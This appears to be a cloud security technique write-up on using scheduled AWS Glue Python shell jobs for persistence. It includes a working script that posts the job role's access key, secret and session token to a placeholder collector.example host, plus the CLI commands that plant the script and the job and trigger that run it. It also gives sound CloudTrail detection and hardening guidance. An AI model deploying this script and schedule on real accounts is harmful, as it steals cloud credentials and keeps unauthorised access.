AWS Glue can run a Python script from Amazon S3 under a supplied IAM job role. A scheduled Glue trigger can start that job repeatedly. Together, these features provide a compact persistence path: each job run resolves fresh temporary credentials for the job role and sends them to a C2.

Python shell jobs are sufficient for this technique. They support Python 3.9, can run with 0.0625 DPU, and do not need a Spark environment.[1]

How the technique works

flowchart TB
    P([Compromised principal])
    B[Amazon S3 script object]
    J[AWS Glue Python shell job]
    T[AWS Glue scheduled trigger]
    R(Glue job-role session)
    C([C2 endpoint])
    P -->|s3:PutObject| B
    P -->|glue:CreateJob + iam:PassRole| J
    P -->|glue:CreateTrigger| T
    B -->|ScriptLocation| J
    T -->|scheduled job run| J
    J -->|Boto3 credential provider| R
    R -->|HTTPS POST| C
    class P principal
    class B,J,T awsResource
    class R credential
    class C c2
The scheduled trigger runs an S3-hosted Python script under the Glue job role. The script resolves that role session and posts it to the C2.

The job definition stores an S3 ScriptLocation and the IAM role that Glue assumes. The trigger stores the job name and a UTC cron expression. Once active, it launches a new job run on each matching schedule.[2][3]

The lowest-permission route is an existing scheduled Python shell job whose script object is writable. Replacing that S3 object changes what later runs execute without changing the Glue job or trigger. Where no suitable job exists, the principal can create the job and schedule shown below.

Preconditions

The deployment principal needs:

  • s3:PutObject for the script object.
  • glue:CreateJob for the new job.
  • iam:PassRole for the selected Glue job role.
  • glue:CreateTrigger for the recurring schedule.

The job role must trust glue.amazonaws.com and allow s3:GetObject on the script. Its identity policy also determines the AWS permissions carried by every credential set collected from the job.[4]

The job must reach the C2 over HTTPS. If the job uses a Glue VPC connection, the selected subnet needs a NAT path for public internet access because Glue-created network interfaces receive private IP addresses only.[5]

Execution

The script uses Boto3’s active credential provider and freezes the result before serializing it. The analytics library set included with Python shell 3.9 provides Boto3.[6]

import json
import urllib.request
from datetime import datetime, timezone

import boto3

COLLECTOR_URL = "https://collector.example/ingest"

credentials = boto3.Session().get_credentials()
if credentials is None:
    raise RuntimeError("Boto3 did not resolve Glue job-role credentials")

frozen = credentials.get_frozen_credentials()
payload = json.dumps(
    {
        "observed_at": datetime.now(timezone.utc).isoformat(),
        "credentials": {
            "access_key_id": frozen.access_key,
            "secret_access_key": frozen.secret_key,
            "session_token": frozen.token,
        },
    }
).encode("utf-8")

request = urllib.request.Request(
    COLLECTOR_URL,
    data=payload,
    headers={"Content-Type": "application/json"},
    method="POST",
)

with urllib.request.urlopen(request, timeout=3) as response:
    response.read()

Upload the script to the object referenced by the job:

aws s3 cp glue_beacon.py \
  s3://application-processing/scripts/glue_beacon.py

If that object already backs a scheduled job, later runs execute the replacement. Otherwise, create a Python shell job. The collector URL stays in the script rather than job arguments because Glue may log argument values.[1:1]

aws glue create-job \
  --name application-processing \
  --role arn:aws:iam::111122223333:role/AWSGlueServiceRole-application-processing \
  --command '{"Name":"pythonshell","PythonVersion":"3.9","ScriptLocation":"s3://application-processing/scripts/glue_beacon.py"}' \
  --default-arguments '{"--library-set":"analytics"}' \
  --max-capacity 0.0625

Create an active trigger that starts the job every five minutes:

aws glue create-trigger \
  --name application-processing-schedule \
  --type SCHEDULED \
  --schedule 'cron(0/5 * * * ? *)' \
  --actions JobName=application-processing \
  --start-on-creation

Glue cron expressions use UTC and six fields. Five minutes is the minimum supported interval. StartOnCreation activates a scheduled trigger as part of CreateTrigger, so a separate StartTrigger call is not required.[7][3:1]

Detection

The strongest signal is a relationship, not a single event: an S3 script write, a Glue job that references the same bucket and key, and a scheduled trigger whose action references that job. The script-only replacement path makes S3 object data events especially important. CloudTrail does not log S3 data events by default.[8]

Glue API calls appear as CloudTrail management events with eventSource set to glue.amazonaws.com. The focused record below keeps the standard identity context and the CreateTrigger fields that define recurrence.[9][3:2]

{
  "eventTime": "2026-09-01T12:00:00Z",
  "eventSource": "glue.amazonaws.com",
  "eventName": "CreateTrigger",
  "awsRegion": "us-east-1",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::111122223333:assumed-role/DeploymentRole/session"
  },
  "sourceIPAddress": "198.51.100.24",
  "requestParameters": {
    "name": "application-processing-schedule",
    "type": "SCHEDULED",
    "schedule": "cron(0/5 * * * ? *)",
    "actions": [
      {
        "jobName": "application-processing"
      }
    ],
    "startOnCreation": true
  }
}

Detection inputs

Event Decision-useful fields Why it matters
s3.amazonaws.com PutObject requestParameters.bucketName, requestParameters.key, userIdentity.arn Identifies creation or replacement of the executable script. Requires S3 data-event logging.
glue.amazonaws.com CreateJob requestParameters.name, role, command.name, command.scriptLocation, command.pythonVersion, defaultArguments, maxCapacity Connects a principal, execution role, runtime, and S3 script.
glue.amazonaws.com UpdateJob requestParameters.jobName, fields under jobUpdate Catches repointing an existing job to a different script or role.
glue.amazonaws.com CreateTrigger requestParameters.name, type, schedule, actions[].jobName, startOnCreation Establishes the recurring execution path.
glue.amazonaws.com UpdateTrigger requestParameters.name, fields under triggerUpdate Catches a new schedule or job action on an existing trigger.

Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, sourceIPAddress, userAgent, and errorCode across each event.

Correlation logic

  1. Select successful CreateJob or UpdateJob events whose Python shell runtime, role, script bucket, or initiating principal is outside the deployment baseline.
  2. Parse command.scriptLocation into a bucket and key. Join it to PutObject on that exact object when S3 data events are available.
  3. Within 15 minutes, join CreateTrigger or UpdateTrigger where actions[].jobName matches the job. Raise confidence when the trigger is scheduled, active on creation, or uses a five-minute interval.
  4. Alert directly on writes to scripts used by existing scheduled Glue jobs, even when no Glue management event follows.
  5. Correlate repeated outbound HTTPS from the Glue job’s VPC path with a new or rare destination when network telemetry is available.

Tune against approved deployment principals, script prefixes, job roles, job names, and schedules. A job created through an established pipeline is weaker evidence than the same API sequence from an interactive role or a principal that does not normally administer Glue.

Hardening

Control Implementation Why it helps
Deployment permissions Limit glue:CreateJob, glue:UpdateJob, glue:CreateTrigger, and glue:UpdateTrigger to dedicated deployment roles. Apply organization guardrails where member accounts do not need Glue administration. Prevents general identities from creating or changing executable jobs and their schedules.
Role passing Scope iam:PassRole to approved Glue job roles and require iam:PassedToService to equal glue.amazonaws.com.[10] Prevents a deployment identity from attaching an unrelated role to a job.
Job-role privilege Give each job role only the data and API permissions required by that job. Avoid reusable Glue roles with unrelated secret access or role-assumption paths. Limits the value and reach of credentials exposed from one job.
Script integrity Restrict writes to Glue script prefixes to the release identity. Separate script-write access from job-administration access, and retain S3 object versions for review. Blocks the lower-permission path that changes only the S3 script object.
Network egress Run jobs that do not need public internet in private subnets without NAT. Use VPC endpoints for required AWS services and restrict security-group egress for VPC-connected jobs. Removes or narrows the HTTPS path to a C2.
Logging coverage Record organization-wide Glue management events and enable targeted S3 object data events for Glue script prefixes. Preserve the fields needed to join PutObject, job definitions, and trigger actions. Keeps the script-only and full provisioning paths observable.

References


  1. AWS Glue User Guide, Adding Python shell jobs in AWS Glue. ↩︎ ↩︎

  2. AWS Glue API Reference, CreateJob. ↩︎

  3. AWS Glue API Reference, CreateTrigger. ↩︎ ↩︎ ↩︎

  4. AWS Glue User Guide, Creating an IAM role for AWS Glue. ↩︎

  5. AWS Glue User Guide, Setting up network access to data stores. ↩︎

  6. Boto3 Developer Guide, Credentials. ↩︎

  7. AWS Glue User Guide, Time-based schedules for jobs and crawlers. ↩︎

  8. Amazon S3 User Guide, Amazon S3 CloudTrail events. ↩︎

  9. AWS Glue User Guide, Logging AWS Glue API calls using AWS CloudTrail. ↩︎

  10. AWS IAM User Guide, Grant a user permissions to pass a role to an AWS service. ↩︎